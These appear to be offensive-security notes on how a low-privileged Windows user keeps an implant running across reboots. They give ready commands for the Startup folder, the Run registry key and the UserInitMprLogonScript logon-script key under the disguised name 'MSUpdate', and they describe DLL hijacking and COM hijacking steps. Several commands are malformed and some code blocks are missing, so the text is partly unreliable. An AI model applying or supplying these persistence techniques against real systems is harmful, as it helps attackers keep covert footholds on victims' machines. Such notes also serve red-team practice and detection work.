Low Priv User

Persistence techniques for low privileged user

Startup folder:

cp implant.exe C:\Users\USER\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup

Reg keys:

UserInitMprLogonScript:

Currently Stealthy?

# add
reg add "HKEY_CURRENT_USER\Environment" /v MSUpdate /t REG_SZ /d "C:\Windows\Tasks\implant.exe" /f
# del
reg del "HKEY_CURRENT_USER\Environment" /v MSUpdate /t REG_SZ /d "C:\Windows\Tasks\implant.exe" /f

CurrentVersion Run:

# add
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /t REG_SZ /d C:\Windows\Tasks\implant.exe" /f
# del
reg del "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /t REG_SZ /d C:\Windows\Tasks\implant.exe" /f

LogonScripts:

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "C:\Windows\Tasks\implant.bat" /t REG_SZ /f

# logon script
echo "
ECHO OFF
C:\Windows\Tasks\implant.exe
" > C:\Windows\Tasks\implant.bat

Screensaver:

Powershell Profiles:

if C:\Users\USERNAME\Documents\WindowsPowershell exists, you can create a profile script that will execute the payload:

DLL Hijacking/Proxying:

identify a candidate; either a service or scheduled task that runs, could also be within the \RUN reg key. Download the executable home folder and execute to get the DLL that are executed.

check icacls within the directory to check if you can modify the path, presented as a (M)

Look for a DLL that doesn't exist in your local path, can use procmon then filter based on 'result CONTAINS "NOT FOUND"' and 'Process Name CONTAINS "Application_Name"'.

Additionally, use 'dumpbin /exports original.dll' to see what is called and what libraries they include. The pragma comment needs to be performed for all the calls to ensure the app works properly.

Create DLL:

compile it using the following:

copy the new dll and the original DLL and rename is to 'winsplhlp.dll' then place within the application folder.

COM-Based hijacking/proxying:

com objects referenced by GUIDs and can live on remote machine. When an app calls functions to a dll, calls SCM for the guid, queries local (machine and user) registry (HKEY_CLASSES_ROOT -> \SOFTWARE\CLASSES\CLSID). If found, loads the DLL. Can edit the \Software\CLASSES hive under user.

Can also be implemented as EXE files (process loading), still looks at the reg, tags the EXE starts a new process and the com-object lives in that process. called via RPC

If a remote machine, will be called SCM as remote, same as RPC

check scheduled tasks:

within the <Actions></Actions> sections, look for <ComHandler></ComHandler> and within the <Triggers></Triggers> look for persistence mechanisms i.e. logon. Once you have identified, query the CSID:

Create the CPP file:

Create the DEF file:

Compile:

Update the exported registry to reflect the area where you want to store the new file. i.e. instead of 'HKEY_LOCAL_MACHINE' change to 'HKEY_CURRENT_USER'. also update the path of the DLL/EXE and save the file, then upload:

Last updated